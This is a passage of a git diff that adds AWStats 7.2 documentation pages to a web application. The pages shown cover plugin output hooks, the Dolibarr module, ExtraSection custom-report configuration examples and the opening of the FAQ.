style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Update<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$Host<br> +<span style="font-style: italic;">Called:</span> On +each line of a log file IF DNS resolution is turned off or a host was +not resolved<br> +<span style="font-style: italic;">Description:</span> +Processes an IP address i.e. <span style="font-style: italic;">192.168.1.1 </span>and +is useful for counting hits to the host or looking up additional +information.<br> +<h2><a name="OutputHTML_Hooks_"></a><font color="#665544" size="3"><b><a name="OutputHTML_Hooks"></a>Output/HTML Hooks</b></font><br> +</h2> +<hr><span style="font-weight: bold;">AddHTMLMenuLink_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$categ, $menu, $menulink, $menutext<br> +<span style="font-style: italic;">Called:</span> +Each time a new menu category is printed in the navigation frame or +section<br> +<span style="font-style: italic;">Description:</span> +Inserts a menu item into the navigation area that will link back to the +<span style="font-style: italic;">AddHTMLGraph_</span> +hook defined in your plugin. If that hook is undefined, the user will +experience an error. Requires <span style="font-style: italic;">AddHTMLGraph_</span> +hook<br> +<span class="highlighted">$categ</span> - name of +the main navigation category such as 'who' or 'hosts'<br> +$menu - passback where you assign the position your link should appear +in the menu<br> +$menulink - passback declaring the type of link<br> +$menutext - passback of the text to be displayed to the user<br> +<br> +<span style="font-weight: bold;">AddHTMLGraph_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span>None<br> +<span style="font-style: italic;">Called:</span> +When the <span style="font-style: italic;">AddHTMLMenuLink_</span> +created link is clicked, after HTML headers are sent and before HTML +footers are sent<br> +<span style="font-style: italic;">Description:</span> +Used to generate a dedicated report page with information specific to +your plugin such as the Hosts report or Regions page. You are only +responsible for the HTML between the standard AWStats header and footer.<span style="font-weight: bold;"></span><br> +<br> +<span style="font-weight: bold;">AddHTMLStyles_pluginname<br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +Whenever HTML headers are printed IF the configuration file does not +define a specific style sheet URL.<br> +<span style="font-style: italic;">Description:</span> +Use this section to output style information to the HTML +header. Only print the individual style definitions, not the beginning +or ending style tags (i.e. <span style="font-style: italic;"><style></style>)</span><br> +<br> +<span style="font-weight: bold;">AddHTMLHeader_pluginname<br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +When HTML headers are printed, just before the closing <span style="font-style: italic;"></head></span> +tag<br> +<span style="font-style: italic;">Description:</span> +If your plugin requires extra HTML header information such as java +script includes or meta tags, print them within this hook.<br> +<br> +<span style="font-weight: bold;">AddHTMLFooter_pluginname<br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +When HTML footers are printed<br> +<span style="font-style: italic;">Description:</span> +Prints footer HTML code before the AWStats copyright and closing <span style="font-style: italic;"></html></span> +tag. Useful if you need to output tracking code or banner ads<br> +<br> +<span style="font-weight: bold;">AddHTMLBodyHeader_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +After the HTML header is printed<br> +<span style="font-style: italic;">Description: </span>Used +to print information to the main HTML body before the banner or any +other information is printed<br> +<br> +<span style="font-weight: bold;">AddHTMLMenuHeader_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +After the HTML header and HTML body header<br> +<span style="font-style: italic;">Description: </span>Used +to print a header for the navigation menu whether it's inline on the +page or in the navigation frame.<br> +<br> +<span style="font-weight: bold;">AddHTMLMenuFooter_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +After the HTML navigation menu is printed<br> +<span style="font-style: italic;">Description: </span>Used +to print a footer for the navigation menu whether it's inline on the +page or in the navigation frame.<br> +<br> +<span style="font-weight: bold;">AddHTMLContentHeader_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +After the HTML navigation menu is printed<br> +<span style="font-style: italic;">Description: </span>Outputs +after the navigation menu but before any of the content tables in the +report pages. <br> +<br> +<span style="font-weight: bold;">TabHeadHTML_pluginname<br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$title<br> +<span style="font-style: italic;">Called:</span> +When a new content table is beggining<br> +<span style="font-style: italic;">Description:</span> +Lets your plugin override the default table header style. Generally not +used.<br> +$title - title to display to the user<br> +<br> +<span style="font-weight: bold;">ShowInfoHost_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$host<br> +<span style="font-style: italic;">Called:</span> +Each time a new host row is displayed, such as the main page host +section or the full host list page.<br> +<span style="font-style: italic;">Description:</span> +Used to display a table column with detailed information about the +host. The incoming parameter can be one of three values:<br> +'__title__' - literal value that indicates we're printing a column +header<br> +$Resolved Hostname - name of the host<br> +$IP Address - an unresolved dotted decimal IP<br> +<br> +<span style="font-weight: bold;">ShowInfoUser_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$user<br> +<span style="font-style: italic;">Called:</span> +Each time a new authenticated user row is displayed<br> +<span style="font-style: italic;">Description:</span> +Used to display a table column with detailed information about the +user. The incoming parameter can have one of two values: <br> +'__title__' - literal value that indicates we're printing a column +header<br> +<span style="font-style: italic;">$user </span>- +the authenticated user name<br> +<br> +<span style="font-weight: bold;">ShowInfoCluster_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$cluster<br> +<span style="font-style: italic;">Called:</span> +Each time a new cluster row is displayed<br> +<span style="font-style: italic;">Description:</span> +Used to display a table column with cluster information. The incoming +parameter can have one of two values: <br> +'__title__' - literal value that indicates we're printing a column +header<br> +$cluster - the cluster name<br> +<br> +<span style="font-weight: bold;">ShowInfoURL_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$url<br> +<span style="font-style: italic;">Called:</span> +Each time a new page URL or referrer URL row is displayed<br> +<span style="font-style: italic;">Description:</span> +Used to display a table column with additional url information. The +incoming parameter can have one of two values: <br> +'__title__' - literal value that indicates we're printing a column +header<br> +url - the page or referrer URL<br> +<br> +<span style="font-weight: bold;">ShowInfoGraph_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters: </span>$title, +$type, $display, @blocklabel, @vallabel, @valcolor, @valmax, @valtotal, @valaverage, @valdata<br> +<span style="font-style: italic;">Called:</span> Any +time a graph, chart or map is output to HTML<br> +<span style="font-style: italic;">Description:</span> +Used to display charts or graphs. AWstats will generate arrays of data, +colors and labels that your graphing plugin should be able to handle. +For more information, <a href="awstats_dev_plugins_graphs.html">see +the graph plugin page</a><br> +<br> +<span style="font-weight: bold;">ShowPagesAddField_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$key<br> +<span style="font-style: italic;">Called:</span> +Each time a new page URL row is displayed on detailed URL pages and +main summary<br> +<span style="font-style: italic;">Description:</span> +Used to display a table column with additional url information. The +incoming parameter can have one of three values: <br> +'title' - literal value that indicates we're printing a column header<br> +<span style="font-weight: bold;"></span>$key - URL +key to lookup in your hash<br> +'' - empty literal indicated the final row. Useful if you want to show +total or averages<br> +<br> +<br> +<hr> +<script language="javascript"> +var date='$Date: 2012/12/08 11:54:41 $'; +document.writeln("Last revision: "+date); +</script><!-- +First version of this tool was designed to analyze folowing web sites: +--> +</body></html> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/docs/awstats_dolibarr.html b/src/main/webapp/monitoramento/docs/awstats_dolibarr.html new file mode 100644 index 0000000..15e820a --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_dolibarr.html @@ -0,0 +1,54 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - Using AWStats Dolibarr ERP/CRM module"> +<meta name="keywords" content="awstats, awstat, module"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - AWStats Dolibarr module"> +<title>AWStats Documentation - AWStats Dolibarr module</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.5 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> + +<body topmargin=10 leftmargin=5> + + +<table style="font: 10pt arial,helvetica,verdana" cellpadding=0 cellspacing=0 border=0 bgcolor=#FFFFFF width=100%> + +<!-- Large --> +<tr style="font: 10pt arial,helvetica,verdana"> +<td bgcolor=#9999cc align=center><a href="/"><img src="images/awstats_logo4.png" border=0></a></td> +<td bgcolor=#9999cc align=center> +<br> +<font style="font: 16pt arial,helvetica,sans-serif" color=#EEEEFF><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td bgcolor=#9999cc align=center> + +</td> +</tr> + +</table> + + +<br><br><H1 style="font: 26px arial,helvetica,sans-serif">AWStats Dolibarr ERP-CRM module</H1> + +A lot of ERP and CRM softwares (software to manage a company like invoices, commercial proposal, products, agenda, contacts, stocks, point of sale...), +exists now in OpenSource. On of the most famous and easy to use is <a href="http://www.dolibarr.org">Dolibarr ERP-CRM</a>.<br> +So to offer a complete solution for companie's manager, I added a module to add AWStats reporting inside this software.<br> +This is links to have more informations:<br> +* Link to dolibarr ERP-CRM project: <a href="http://www.dolibarr.org">http://www.dolibarr.org</a><br> +* Link to doliStore where to download AWStats module for Dolibarr: <a href="http://www.dolistore.com">http://www.dolistore.com</a><br> +* Link to wiki documentation of module: <a href="http://wiki.dolibarr.org/index.php/Module_AWStats_En">http://wiki.dolibarr.org/index.php/Module_AWStats_En</a><br> +<br> + + +<hr> + +<script language=javascript> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> diff --git a/src/main/webapp/monitoramento/docs/awstats_extra.html b/src/main/webapp/monitoramento/docs/awstats_extra.html new file mode 100644 index 0000000..960f1d9 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_extra.html @@ -0,0 +1,353 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - Using the Extra Sections features"> +<meta name="keywords" content="awstats, awstat, extra, section, sections, feature, features, report, extrasection"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Using the Extra Sections features"> +<title>AWStats Documentation - Using the Extra Sections features</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.35 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> + +<body topmargin=10 leftmargin=5> + + +<table style="font: 10pt arial,helvetica,verdana" cellpadding=0 cellspacing=0 border=0 bgcolor=#FFFFFF width=100%> + +<!-- Large --> +<tr style="font: 10pt arial,helvetica,verdana"> +<td bgcolor=#9999cc align=center><a href="/"><img src="images/awstats_logo4.png" border=0></a></td> +<td bgcolor=#9999cc align=center> +<br> +<font style="font: 16pt arial,helvetica,sans-serif" color=#EEEEFF><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td bgcolor=#9999cc align=center> + +</td> +</tr> + +</table> + + +<br><br><H1 style="font: 26px arial,helvetica,sans-serif">Adding extra reports using the ExtraSection feature</H1> + +<br> +The AWStats ExtraSection features are powerfull setup options to allow you to add your own +report not provided by default with AWStats. You can use it to build special reports, like +number of sales for a particular product, marketing reports, counting for a particular +user or agent, etc...<br> +<br> + +<br><br> +<u><b>Explanation on how to add/edit an Extra report in your config file</b></u><br> +Take a look inside the AWStats config file to find the following part:<br> +<i> +#-----------------------------------------------------------------------------<br> +# EXTRA SECTIONS<br> +#-----------------------------------------------------------------------------<br> +<br> +</i> +Read all explanation in config file after this point, they will explain you +how to add an Extra report by adding an ExtraSection configuration in your config file,<br> +or just click <a href="#extraconfig">here</a> to jump to a copy of this explanation.<br> +<br> +Following examples are precious tutorials...<br> + +<a name="examples"> </a> +<br><br> +<u><b>Some examples of ExtraSection setup you can follow to build your own personalized reports:</b></u><br> +<br> +<li><a href="#productorders">Example 1: Tracking Product orders</a><br> +<li><a href="#bugzilla">Example 2: Tracking Bugzilla most frequently viewed bugs</a><br> +<li><a href="#awredir">Example 3: Tracking Exit clicks</a><br> +<li><a href="#aborted">Example 4: Tracking aborted download</a><br> +<li><a href="#domainaliases">Example 5: Tracking most requested domain aliases</a><br> +<li><a href="#level2dir">Example 6: List of top level 2 path under a directory /mydir</a><br> +<br> +And for more usage examples (like more precise Search Engine Optimization, referrals by domain, ...), +you can have a look at the very good page <a href="http://www.antezeta.com/awstats.html">Antezeta AWStats Enhancements and Extensions page</a>.<br> +<br> + +<br> +<br><a name="productorders"><H2 style="font: 18px arial,helvetica,sans-serif color: #606060"><u>Example 1: Tracking Product orders</u></H2></a> +Image your web site is an e-store that sells 80 different products. Each of them has an id. +Imagine each time, someone make an order for product 49, the order.cgi script or order2.cgi script +is called with, in URL query parameter, the id of the product, meanings that you get in your log +file a hit that looks like this:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +GET /cgi-bin/order.cgi?productid=49&session=A0B1C2 +</td></tr></table> +<br> +So this is how you need to setup your ExtraSection to track your product orders:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ExtraSectionName1="Product orders" +<br>ExtraSectionCodeFilter1="200 304" +<br>ExtraSectionCondition1="URL,\/cgi\-bin\/order\.cgi|URL,\/cgi\-bin\/order2\.cgi" +<br>ExtraSectionFirstColumnTitle1="Product ID" +<br>ExtraSectionFirstColumnValues1="QUERY_STRING,productid=([^&]+)" +<br>ExtraSectionFirstColumnFormat1="%s" +<br>ExtraSectionStatTypes1=PL +<br>ExtraSectionAddAverageRow1=0 +<br>ExtraSectionAddSumRow1=1 +<br>MaxNbOfExtra1=100 +<br>MinHitExtra1=1 +</td></tr></table> +<br> + + +<br> +<br><a name="bugzilla"><H2 style="font: 18px arial,helvetica,sans-serif color: #606060"><u>Example 2: Tracking Bugzilla most frequently viewed bugs</u></H2></a> +This is an example on how to setup your ExtraSection:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ExtraSectionName1="Bugzilla: Most frequently viewed bugs" +<br>ExtraSectionCodeFilter1="200 304" +<br>ExtraSectionCondition1="URL,\/bugzilla\/show_bug\.cgi" +<br>ExtraSectionFirstColumnTitle1="Bug ID" +<br>ExtraSectionFirstColumnValues1="QUERY_STRING,id=([^&]+)" +<br>ExtraSectionFirstColumnFormat1="<a href='/bugzilla/show_bug.cgi?id=%s' target=new>%s</a>" +<br>ExtraSectionStatTypes1=PL +<br>ExtraSectionAddAverageRow1=0 +<br>ExtraSectionAddSumRow1=1 +<br>MaxNbOfExtra1=500 +<br>MinHitExtra1=1 +</td></tr></table> +<br> + + +<br> +<br><a name="awredir"><H2 style="font: 18px arial,helvetica,sans-serif color: #606060"><u>Example 3: Tracking Exit clicks</u></H2></a> +AWStats shows you naturally the exit pages. However, you don't know where you visitor go +after exiting your site since clicking on a link that point to an external link will log +the viewed page on the external server and not on yours. +If you want to track this, you can, using the ExtraSection and the <b>awredir.pl</b> tool +(provided with AWStats).<br> +This tools must be used as a CGI wrapper. When called on 'A HREF' link, it returns to +browser a redirector to tell it to show the required page. +So, to use this script, you must replace HTML href tags that points to external web sites +onto your HTML pages from<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +<a href="http://externalsite/pagelinked">Link</a> +</td></tr></table> +to<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +<a href="http://yoursite/cgi-bin/awredir.pl?url=http://externalsite/pagelinked">Link</a> +</td></tr></table> +<br> +For your web visitor, there is no difference. However this allow you to track +clicks done on links onto your web pages that point to external web sites, +because an entry will be seen in your own server log like this record:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +80.1.2.3 - - [01/Jan/2001:16:00:00 -0300] "GET /cgi-bin/awredir.pl?url=http://externalsite/pagelinked HTTP/1.1" 302 70476 "http://yoursite/pagewithlink.html" "FireBird/0.7"<br> +</td></tr></table> +<br> +Then, you can add in AWStats a chart to track all call to <i>awredir.pl</i> with +keys values taken from the "url=" parameter. You will get an independant chart, counting +all external pages viewed by your visitor after exiting your site.<br> +To have this chart, this is how you must setup your ExtraSection:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ExtraSectionName1="Redirected Hit" +<br>ExtraSectionCodeFilter1="302" +<br>ExtraSectionCondition1="URL,\/cgi\-bin\/awredir\.pl" +<br>ExtraSectionFirstColumnTitle1="Url" +<br>ExtraSectionFirstColumnValues1="QUERY_STRING,url=([^&]+)" +<br>ExtraSectionStatTypes1=HL +<br>MaxNbOfExtra1=500 +<br>MinHitExtra1=1 +<br>ExtraSectionAddSumRow1=1 +</td></tr></table> +<br><br> + + +<br><a name="aborted"><H2 style="font: 18px arial,helvetica,sans-serif color: #606060"><u>Example 4: Tracking aborted download</u></H2></a> +Aborted downloads are reported in a log file by a 206 error, so this is how you need to setup your ExtraSection to add a chart for a such tracking:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ExtraSectionName1="List of aborted download" +<br>ExtraSectionCodeFilter1="206" +<br>ExtraSectionCondition1="" +<br>ExtraSectionFirstColumnTitle1="URL" +<br>ExtraSectionFirstColumnValues1="URL,(.*)" +<br>ExtraSectionStatTypes1=PHB +<br>MaxNbOfExtra1=100 +<br>MinHitExtra1=1 +</td></tr></table> +<br><br> + + +<br><a name="domainaliases"><H2 style="font: 18px arial,helvetica,sans-serif color: #606060"><u>Example 5: Tracking most requested domain aliases</u></H2></a> +You have one website, but this web site has several domains named (for example the same site domain.com can be +reached with urls domain.com,www.domain.com,www.otherdomainname.com,www.againadomainname.org,...). +You want to know which domain alias is the most used.<br> +<br> +The first thing to do is to be sure the domain alias is recorded inside your log file. +If you use Apache, you must use a personalized Apache log file that contains the <i>%V</i> tag. +For example you can add in your Apache httpd.conf file a new Apache log format (This is +the Apache directive, not AWStats, to define an Apache log format that contains +the virtual domain):<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %V" combinedv +</td></tr></table> +Then check that your Apache CustomLog directives are defined like this:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +CustomLog pathtoyourlog/yourlog.log combinedv +</td></tr></table> +<br> +After restarting Apache, your log format should look like this<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +66.130.77.181 - - [09/Aug/2004:03:01:05 +0200] "GET /index.php HTTP/1.1" 200 1473 "-" "Firefox 1.0" www.otherdomainname.com<br> +</td></tr></table> +<br> + +When your web server log file contains the domain alias, you can now setup AWStats +to use it. For this use a personalised AWStats log format and use the <i>%extra1</i> tag at +the same position where the domain alias is. For example, for your combinedv Apache log format, +we will use:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot %extra1" +</td></tr></table> +<br> +Every tag defined by name <i>extraZ</i> (Z is a number, you can use as many tags as you need) +can be used in any ExtraSection to extract the parameter. You can use the name <i>extraZ</i> as +a criteria in the <i>ExtraSectionFirstColumnValuesX</i> parameter (X is number of the extra report, you can +add as many report as you need) to tell AWStats to use value in log file at the place of +the tag, as the key for your report. For example:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ExtraSectionName1="Domains aliases" +<br>ExtraSectionCodeFilter1="200 304" +<br>ExtraSectionCondition1="" +<br>ExtraSectionFirstColumnTitle1="Domain alias" +<br>ExtraSectionFirstColumnValues1="extra1,([^&]+)" +<br>ExtraSectionFirstColumnFormat1="%s" +<br>ExtraSectionStatTypes1=HL +<br>ExtraSectionAddAverageRow1=0 +<br>ExtraSectionAddSumRow1=1 +<br>MaxNbOfExtra1=20 +<br>MinHitExtra1=1 +</td></tr></table> +<br><br> +And result will be: +<style type="text/css"> +<!-- +.aws_bodyl { } +.aws_border { background-color: #CCCCDD; padding: 1px 1px 1px 1px; margin-top: 0; margin-bottom: 0; } +.aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #CCCCDD; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #000000; } +.aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #CCCCDD; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; } +.aws_data { + background-color: #FFFFFF; + border-top-width: 1px; + border-left-width: 0px; + border-right-width: 0px; + border-bottom-width: 0px; +} +.aws_formfield { font: 13px verdana, arial, helvetica; } +.aws_button { + font-family: arial,verdana,helvetica, sans-serif; + font-size: 12px; + border: 1px solid #ccd7e0; + background-image : url(/awstatsicons/other/button.gif); +} +th { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #000000; } +th.aws { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; } +td { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; color: #000000; padding: 0px;} +td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:left; color: #000000; padding: 0px; } +//--> +</style> +<a name="extra6"> </a><br /><table class="aws_border" border="0" cellpadding="2" cellspacing="0" width="100%"> +<tr><td class="aws_title" width="70%">Domains aliases</td><td class="aws_blank"> </td></tr> +<tr><td colspan="2"> +<table class="aws_data" border="1" bordercolor="#ECECEC" cellpadding="2" cellspacing="0" width="100%"> +<tr bgcolor="#ECECEC"><th>Domain alias</th><th align="center" bgcolor="#66F0FF" width="80">Hits</th><th width="120" align="center">Last visit</th></tr> +<tr><td class="aws">www.domain.com</td><td align="center">1757131</td><td align="center">08 August 2004 - 13:01</td></tr> +<tr><td class="aws">www.otherdomainname.com</td><td align="center">98518</td><td align="center">08 August 2004 - 12:54</td></tr> +<tr><td class="aws">domain.com</td><td align="center">19107</td><td align="center">08 August 2004 - 12:42</td></tr> +<tr><td class="aws">www.againadomainname.org</td><td align="center">7609</td><td align="center">08 August 2004 - 11:56</td></tr> +<tr><td class="aws"><b>Total</b></td><td align="center">1883986</td><td> </td></tr> +</table></td></tr></table><br /> + + + + +<br><a name="level2dir"><H2 style="font: 18px arial,helvetica,sans-serif color: #606060"><u>Example 6: List of top level 2 path under a directory /mydir</u></H2></a> +So this is how you need to setup your ExtraSection to add a chart for such a tracking:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ExtraSectionName1="List of top level 2 path under /mydir" +<br>ExtraSectionCodeFilter1="200 304" +<br>ExtraSectionCondition1="URL,^\/mydir\/.*" +<br>ExtraSectionFirstColumnTitle1="Directory name" +<br>ExtraSectionFirstColumnValues1="URL,^\/mydir\/([\w]+)\/" +<br>ExtraSectionStatTypes1=PHK +<br>MaxNbOfExtra1=50 +<br>MinHitExtra1=1 +</td></tr></table> +<br><br> + + +<br><br> +There is a lot of other possible use for Extra Sections ...<br> +<br> + +<br> +<br> +<br> + + +<a name="extraconfig"></a> +<br> +<u><b>The following explanation is same than the one found in AWStats config file:</b></u><br> +<br>#----------------------------------------------------------------------------- +<br># EXTRA SECTIONS +<br>#----------------------------------------------------------------------------- +<br># You can define your own charts, you choose here what are rows and columns +<br># keys. This feature is particularly usefull for marketing purpose, tracking +<br># products orders for example. +<br># For this, edit all parameters of Extra section. Each set of parameter is a +<br># different chart. For several charts, duplicate section changing the number. +<br># Note: Each Extra section reduces AWStats speed by 8%. +<br># +<br># WARNING: A wrong setup of Extra section might result in too large arrays +<br># that will consume all your memory, making AWStats unusable after several +<br># updates, so be sure to setup it correctly. +<br># In most cases, you don't need this feature. +<br># +<br># ExtraSectionNameX is title of your personalized chart. +<br># ExtraSectionCodeFilterX is list of codes the record code field must match. +<br># Put an empty string for no test on code. +<br># ExtraSectionConditionX are conditions you can use to count or not the hit, +<br># Use one of the field condition +<br># (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +<br># and a regex to match, after a coma. Use "||" for "OR". +<br># ExtraSectionFirstColumnTitleX is the first column title of the chart. +<br># ExtraSectionFirstColumnValuesX is a string to tell AWStats which field to +<br># extract value from +<br># (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +<br># and how to extract the value (using regex syntax). Each different value +<br># found will appear in first column of report on a different row. Be sure +<br># that list of different possible values will not grow indefinitely. +<br># ExtraSectionFirstColumnFormatX is the string used to write value. +<br># ExtraSectionStatTypesX are things you want to count. You can use standard +<br># code letters (P for pages,H for hits,B for bandwidth,L for last access). +<br># ExtraSectionAddAverageRowX add a row at bottom of chart with average values. +<br># ExtraSectionAddSumRowX add a row at bottom of chart with sum values. +<br># MaxNbOfExtraX is maximum number of rows shown in chart. +<br># MinHitExtraX is minimum number of hits required to be shown in chart. + +<br><br> +Warning: the ExtraSectionConditionX MUST use regex values since AWStats 6.0.<br> +ExtraSectionFirstColumnValuesX also need REGEX value for all AWStats versions.<br> +Return to <a href="#examples">examples</a> for examples on syntax use.<br> +<br> + + + + +<br> +<hr> + +<script language=javascript> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> diff --git a/src/main/webapp/monitoramento/docs/awstats_faq.html b/src/main/webapp/monitoramento/docs/awstats_faq.html new file mode 100644 index 0000000..6a00edd --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_faq.html @@ -0,0 +1,1725 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - FAQ page"> +<meta name="keywords" content="awstats, awstat, faq, error, errors, frequently, asked, questions, support, help, problem, solution, troubleshooting, rotate log"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - FAQs"> +<title>AWStats Documentation - FAQs</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.192 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> + +<body topmargin=10 leftmargin=5> + + +<table style="font: 10pt arial,helvetica,verdana" cellpadding=0 cellspacing=0 border=0 bgcolor=#FFFFFF width=100%> + +<!-- Large --> +<tr style="font: 10pt arial,helvetica,verdana"> +<td bgcolor=#9999cc align=center><a href="/"><img src="images/awstats_logo4.png" border=0></a></td> +<td bgcolor=#9999cc align=center> +<br> +<font style="font: 16pt arial,helvetica,sans-serif" color=#EEEEFF><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td bgcolor=#9999cc align=center> + +</td> +</tr> + +</table> + + +<br><br><H1 style="font: 26px arial,helvetica,sans-serif">Frequently Asked Questions + Troubleshooting</H1> + + +<br> +<u>ABOUT QUESTIONS:</u><br> +<ul> +FAQ-ABO100 <a href="#SERVERSOS">Which server log files or operating systems are supported 